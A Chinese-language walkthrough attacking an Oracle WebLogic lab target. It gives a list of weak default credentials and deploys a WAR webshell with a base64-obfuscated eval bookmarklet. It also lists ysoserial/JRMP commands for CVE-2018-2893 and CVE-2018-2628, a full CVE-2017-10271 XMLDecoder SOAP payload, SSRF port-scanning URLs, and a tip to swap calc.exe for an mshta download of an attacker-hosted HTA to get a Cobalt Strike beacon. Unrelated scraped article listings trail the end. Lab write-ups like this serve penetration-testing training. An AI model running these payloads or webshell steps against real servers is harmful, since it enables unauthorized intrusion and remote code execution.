靶机说明

目标ip:172.16.53.28(window 2003)

本靶机所针对的序列化漏洞系列以及常见安全问题如下:

  1. 弱口令登陆控制台部署war包webshell
  2. CVE-2018-2893
  3. CVE-2018-2628
  4. CVE-2017-10271
  5. CVE-2017-3248
  6. CVE-2016-3510
  7. CVE-2015-4852
  8. weblogic ssrf

信息探测

1. nmap探测目标服务器端口以及服务等相关信息

1.1 在命令行终端下执行以下命令

namp -T4 -A 172.16.53.28

1.2 执行结果所获得的信息如下

通过nmap的探测结果,我们可以得知目标的7001端口开放了weblogic的相关服务,并且得知了weblogic的版本信息,以及其它系统相关信息和其它端口服务相关的信息。

得知了weblogic的版本等相关信息后,可以利用互联网检索是否该版本存在响应的漏洞,以寻求利用的可能

弱口令登陆控制台部署war包webshell

1. 登陆界面手工输入常用弱口令尝试登陆

1.1 由于weblogic的登陆入口有账户锁定的机制,所以无法采用爆破的方式,以下截图就是使用burpsuite爆破过后,导致输入正确的账号密码都被锁定

服务器终端也打印出账户被锁定30分钟的信息,如下:

1.2 手动输入常用的weblogic的肉口令进行登陆尝试

#常用弱口令如下,可根据实际情况进行添加或者组合:
administrator:password
weblogic:password
weblogic:weblogic
weblogic:weblogic1
weblogic:welcome1
weblogic:admin123
weblogic:Oracle@123
system:weblogic
system:password
system:security
system:system
portaladmin:portaladmin
wlcsystem:wlcsystem
wlpisystem:wlpisystem
admin:security
joe:password
guest:guest

2.登陆成功后,开始部署war包webshell

2.1 进入到weblogic的控制台首页,点击“锁定并编辑”,再点击“部署”


2.2 选择“安装“,如下截图


2.3 点击页面超链接”上载文件“,然后选中提前准备好的war包webshell,选择第一项‘将部署上载到管理服务器’,最后点击下一步

选中提前准备好的war包webshell(下载地址:https://github.com/SecurityRiskAdvisors/cmd.jsp),然后点击下一步

看到以下提示,说明上传成功,显示了我们上传的文件的所在位置,接着继续点击下一步

2.4 选择“将此部署安装为应用程序”,点击“下一步”

2.5 接下来可以给该部署命名,默认即可

2.6 点击“完成”之后,看到“设置更新成功”,说明前面的操作正确

2.7 再次回到'部署'选项中,选中刚刚部署的 cmd 应用程序,点击'启动'服务(注意,此处一定要来自己手工启动服务,不然 shell 是部署不上的 )

选择“是”

2.8 看到如下图所标记的内容,就说明webshell部署成功

2.9 启动部署成功之后,通过用浏览器访问 http://172.16.53.28:7001/cmd/cmd.jsp 就可以看到我们的 shell 了

备注 : 如果使用文章中提到的cmd.war来部署这个webshell,当访问该cmd.jsp文件的时候,会看到的是一个没有任何回显的空白页面,需要将一段js代码保存为浏览器的书签,当直接访问 http://172.16.53.28:7001/cmd/cmd.jsp的时候,再在当前页面点击js书签,才能看到页面的输出,如下图

//需要保存为书签的js代码如下:
javascript:{window.localStorage.embed=window.atob("ZG9jdW1lbnQud3JpdGUoIjxwPiIpOw0KdmFyIGh0bWwgPSAiPGZvcm0gbWV0aG9kPXBvc3QgYWN0aW9uPSdjbWQuanNwJz5cDQo8aW5wdXQgbmFtZT0nYycgdHlwZT10ZXh0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nUnVuJz5cDQo8L2Zvcm0+PGhyPlwNCjxmb3JtIGFjdGlvbj0nY21kLmpzcCcgbWV0aG9kPXBvc3Q+XA0KVXBsb2FkIGRpcjogPGlucHV0IG5hbWU9J2EnIHR5cGU9dGV4dCB2YWx1ZT0nLic+PGJyPlwNClNlbGVjdCBhIGZpbGUgdG8gdXBsb2FkOiA8aW5wdXQgbmFtZT0nbicgdHlwZT0nZmlsZScgaWQ9J2YnPlwNCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2InIGlkPSdiJz5cDQo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJz5cDQo8L2Zvcm0+PGhyPiI7DQp2YXIgZGl2ID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZGl2Jyk7DQpkaXYuaW5uZXJIVE1MID0gaHRtbDsNCmRvY3VtZW50LmJvZHkuaW5zZXJ0QmVmb3JlKGRpdiwgZG9jdW1lbnQuYm9keS5maXJzdENoaWxkKTsNCg0KdmFyIGhhbmRsZUZpbGVTZWxlY3QgPSBmdW5jdGlvbihldnQpIHsNCiAgICB2YXIgZmlsZXMgPSBldnQudGFyZ2V0LmZpbGVzOw0KICAgIHZhciBmaWxlID0gZmlsZXNbMF07DQoNCiAgICBpZiAoZmlsZXMgJiYgZmlsZSkgew0KICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsNCg0KICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24ocmVhZGVyRXZ0KSB7DQogICAgICAgICAgICB2YXIgYmluYXJ5U3RyaW5nID0gcmVhZGVyRXZ0LnRhcmdldC5yZXN1bHQ7DQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYicpLnZhbHVlID0gYnRvYShiaW5hcnlTdHJpbmcpOw0KICAgICAgICB9Ow0KDQogICAgICAgIHJlYWRlci5yZWFkQXNCaW5hcnlTdHJpbmcoZmlsZSk7DQogICAgfQ0KfTsNCmlmICh3aW5kb3cuRmlsZSAmJiB3aW5kb3cuRmlsZVJlYWRlciAmJiB3aW5kb3cuRmlsZUxpc3QgJiYgd2luZG93LkJsb2IpIHsNCiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZicpLmFkZEV2ZW50TGlzdGVuZXIoJ2NoYW5nZScsIGhhbmRsZUZpbGVTZWxlY3QsIGZhbHNlKTsNCn0gZWxzZSB7DQogICAgYWxlcnQoJ1RoZSBGaWxlIEFQSXMgYXJlIG5vdCBmdWxseSBzdXBwb3J0ZWQgaW4gdGhpcyBicm93c2VyLicpOw0KfQ==");eval(window.localStorage.embed);};void(0);

至此,通过弱口令登陆weblogic并部署war包webshell就到此结束

CVE-2018-2893 漏洞利用

漏洞简介

WebLogic (CVE-2018-2893)漏洞和之前的JRMP协议漏洞(CVE-2018-2628)漏洞是分不开的,他是结合了RMI机制缺陷和JDK反序列化漏洞绕过了WebLogic黑名单,从而执行系统命令 。

受影响的系统版本

  • WebLogic10.3.6.0
  • WebLogic12.1.3.0
  • WebLogic12.2.1.2
  • WebLogic12.2.1.3

注:此漏洞暂时有一定利用限制,只在 jdk7u21 之前的版本实际利用成功过

相关利用工具下载地址

https://github.com/pyn3rd/CVE-2018-2893

漏洞利用过程

1.通过CVE-2018-2893的相关检测脚本简单验证目标是否存在此漏洞

1.1 脚本下载地址

https://github.com/anbai-inc/CVE-2018-2893

1.2 执行结果,显示存在CVE-2018-2893漏洞

2.生成 payload,功能是回连下载执行指定的系统命令(在大佬平台的环境下,以下命令所用到的ip需要是一个公网ip,比如自己的VPS)

# 生成payload的命令如下,执行结果就是在当前目录下生成一个shell.ser的文件:
java -jar ysoserial-cve-2018-2893.jar JRMPClient4 "192.168.74.142:1099" > shell.ser

3.在攻击机上执行以下命令,启动服务端,等待目标weblogic下载执行指定的命令

# 监听攻击机的1099端口
java -cp ysoserial-cve-2018-2893.jar ysoserial.exploit.JRMPListener 1099 Jdk7u21 "calc.exe"

4.通过T3协议将之前制作好的payload发送给目标weblogic,执行payload(命令中的ip为目标ip)

python weblogic.py 192.168.74.143 7001 shell.cer

5.远程命令执行效果如下

注:此次漏洞利用过程执行的是打开计算机的命令,在实际操作过程当中,可以利用cs服务器生成hta文件,然后通过将“calc.exe”命令换成“mshta.exe http://攻击者服务器/options.hta” ,可以直接反弹beacon到cs服务器

CVE-2018-2628 漏洞利用

漏洞简介

由于 weblogic 对于 T3 协议发送的数据包没有过滤,注册一个 RMI 接口,通过 T3 协议建立连接,加载回来再一步步解包,利用 readObject 解析,从而造成了反序列化远程代码执行

受影响的系统版本

  • Weblogic 10.3.6.0
  • Weblogic 12.1.3.0
  • Weblogic 12.2.1.2
  • Weblogic 12.2.1.3

相关利用工具下载地址

#漏洞检测脚本:
https://github.com/aedoo/CVE-2018-2628-MultiThreading
#k8 Tools:
https://github.com/0xMJ/CVE-2018-2628/raw/master/k8weblogicGUI.exe
#shell执行脚本:
https://github.com/jas502n/CVE-2018-2628/blob/master/cve-2018-2628.py

https://github.com/brianwrf/ysoserial

漏洞利用过程

1.通过CVE-2018-2628的相关检测脚本简单验证目标是否存在此漏洞

2.利用K8 Tools getshell

3.运行连接shell的python脚本(python2环境下运行),获取执行命令的控制台

Shell: http://192.168.74.143:7001/bea_wls_internal/wlscmd.jsp

CVE-2017-10271 漏洞利用

漏洞简介

WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,究其底层其实还是 XMLDecoder 的反序列化漏洞 。

受影响的系统版本

  • Weblogic 10.3.6.0.0
  • Weblogic 12.1.3.0.0
  • Weblogic 12.2.1.1.0
  • Weblogic 12.2.1.2.0

漏洞利用过程

1.验证目标机器是否存在此漏洞,验证方法如下:

浏览器访问 poc url : /wls-wsat/CoordinatorPortType 看到类似下面的返回则说明目标机器可能存在此漏洞

http://192.168.74.143:7001/wls-wsat/CoordinatorPortType

2.使用burpsuite的repeater模块像目标服务器发包,直接将payload复制到repeater的request位置

payload如下:

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.74.143
Accept-Encoding: identity
Content-Length: 592
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Connection: keep-alive
Cache-Control: max-age=0
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd.exe</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>calc.exe</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

2.1 需要对payload做以下一些修改

2.2 点击“Go”过后,目标服务器执行命令弹出计算机

weblogic ssrf 漏洞利用

漏洞简介

SSRF漏洞,也称为XSPA(跨站端口攻击),问题存在于应用程序在加载用户提供的URL时,没能正确验证服务器的响应,然后就反馈回了客户端。攻击者可以利用该漏洞绕过访问限制(如防火墙),进而将受感染的服务器作为代理进行端口扫描,甚至访问系统中的数据。

Oracle WebLogic web server即可以被外部主机访问,同时也允许访问内部主机。比如有一个jsp页面SearchPublicReqistries.jsp,我们可以利用它进行攻击,未经授权通过weblogic server连接任意主机的任意TCP 端口,可以能冗长的响应来推断在此端口上是否有服务在监听此端口。

漏洞利用过程

1.Weblogic ssrf url 如下:

#SSRF漏洞存在于:
http://192.168.74.143:7001/uddiexplorer/SearchPublicRegistries.jsp

2.向服务器通过get方式提交以下参数

http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search

此时提交参数operator=http://localhost/robots.txt ,访问的端口是80(不存在),访问一个不存在的端口会返回以下信息:

3、将访问的参数加上7001端口再访问

http://192.168.74.143:7001//uddiexplorer/SearchPublicRegistries.jsp?operator=http://localhost:7001/robots.txt&rdoSearch=name&txtSearchname=sdf&txtSearchkey=& txtSearchfor=&selfor=Business+location&btnSubmit=Search

此时服务器访问7001端口时返回一个404的状态码

还可能遇到的返回状态有以下几种:

3.内网端口探测

我们可以根据返回的不同状态信息,来判断内网的IP是否存在以及对应端口是否开放。这里有一个地方需要注意的是,需要知道目标内网网段。如果盲目的去进行网段扫描会耗费大量的时间。

根据不同的返回状态这个特性,利用python写一个脚本去探测

更多的利用可参考:https://blog.chaitin.cn/gopher-attack-surfaces/,如得知内网存在如redis的机器,也可通过此ssrf进行攻击

相关脚本下载地址:

https://github.com/anbai-inc/CVE-2018-2893

https://github.com/SecurityRiskAdvisors/cmd.jsp

https://github.com/0xMJ/CVE-2018-2628

https://github.com/brianwrf/ysoserial

https://github.com/Lighird/CVE-2018-2628

https://github.com/quentinhardy/scriptsAndExploits/tree/master/exploits/weblogic

https://github.com/jas502n/CVE-2018-2628

WebLogic远程命令执行的更多相关文章

  1. WebLogic “Java 反序列化”过程远程命令执行

    WebLogic “Java 反序列化”过程远程命令执行 详细信息: https://www.seebug.org/vuldb/ssvid-89726 说明: 反序列化是指特定语言中将传递的对象序列化 ...

  2. Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

  3. "Java 反序列化"过程远程命令执行漏洞

    一.漏洞描述   国外 FoxGlove 安全研究团队于2015年11月06日在其博客上公开了一篇关于常见 Java 应用如何利用反序列化操作进行远程命令执行的文章.原博文所提到的 Java 应用都使 ...

  4. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  5. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  6. SSD报告 - QRadar远程命令执行

    SSD报告 - QRadar远程命令执行 漏洞摘要 QRadar中的多个漏洞允许远程未经身份验证的攻击者使产品执行任意命令.每个漏洞本身并不像链接那么强大 - 这允许用户从未经身份验证的访问更改为经过 ...

  7. python套接字编程实现ntp服务和远程命令执行

    python套接字编程实现ntp服务和远程命令执行 目录 基于udp实现ntp服务 基于tcp实现远程命令执行 基于udp实现远程命令执行 tcp与udp的比较 前面关于套接字基础请查阅 https: ...

  8. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  9. URI Scheme注册伪协议实现远程命令执行

    Windows配置注册表注册伪协议 1.新建伪协议项 WIN+R 输入regedit 打开注册表,在注册表HKEY_CLASSES_ROOT键中新建一个项,项的名字就是你伪协议的名字,例如我注册一个c ...

随机推荐

  1. 深入理解net core中的依赖注入、Singleton、Scoped、Transient(二)

    相关文章: 深入理解net core中的依赖注入.Singleton.Scoped.Transient(一) 深入理解net core中的依赖注入.Singleton.Scoped.Transient ...

  2. 选择 Java 编写 iOS 与 安卓 App的八大理由

    [编者按]本文作者为 RoboVM 的 CEO 兼联合创始人 Henric Müller,主要介绍选用 Java 编写移动应用的八大理由.文章系国内 ITOM 管理平台 OneAPM 编译呈现. 在过 ...

  3. plsql常用函数

    1)处理字符的函数 || 或 CONCAT---并置运算符. 格式∶CONCAT(STRING1, STRING2) 例:’ABC’|| ’DE’=’ABCDE’ CONCAT(‘ABC’,’DE’) ...

  4. [SQL Server]利用索引改善sql语句

    很多人不知道SQL语句在SQL SERVER中是如何执行的,他们担心自己所写的SQL语句会被SQL SERVER误解.比如: 1.select * from table1 where name=''z ...

  5. asp.net 一般处理程序接收上传文件的问题

    在使用Html+ashx处理文件上传时,遇到上传文件超过4M的问题,首先HTML代码如下: <!DOCTYPE html> <html> <head> <me ...

  6. 卸载oracle 10g

    1.开始->设置->控制面板->管理工具->服务——>   停止所有Oracle服务.(没有起动的就不用停用了)2.开始->程序->Oracle - OraD ...

  7. Jenkins定时构建和轮询SCM设置说明

    看图说事: 一.定时构建:不管SVN或Git中数据有无变化,均执行定时化的构建任务 : 二.轮询SCM:只要SVN或Git中数据有更新,则执行构建任务: 三.构建语法说明: 1.首先格式为:* * * ...

  8. 如何从Microsoft web platform installer取得离线安装包

    有一架visual studio 2012的开发环境A由于某种原因无法链接internet, 于是乎安装officetoolsforvisual2012就有问题了. 从微软的官网上只可以下载 offi ...

  9. September 29th 2017 Week 39th Friday

    Human life is ephemera, which makes it precious. 生命短暂,所以珍贵. Don't waste time on praying to the God. ...

  10. September 05th 2017 Week 36th Tuesday

    I always in the deepest despair, meet the most beautiful sunrise. 我总是在最深的绝望里遇见最美丽的惊喜. Some pessimist ...